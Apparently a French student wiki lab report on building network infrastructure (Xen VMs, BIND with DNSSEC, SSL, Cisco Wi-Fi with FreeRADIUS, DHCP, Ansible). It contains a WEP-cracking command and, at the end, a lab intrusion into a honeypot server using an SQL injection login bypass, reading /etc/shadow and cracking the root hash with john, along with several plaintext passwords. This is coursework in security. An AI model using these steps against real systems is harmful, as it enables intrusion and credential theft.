&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54985</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54985"/>
				<updated>2020-12-18T18:58:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
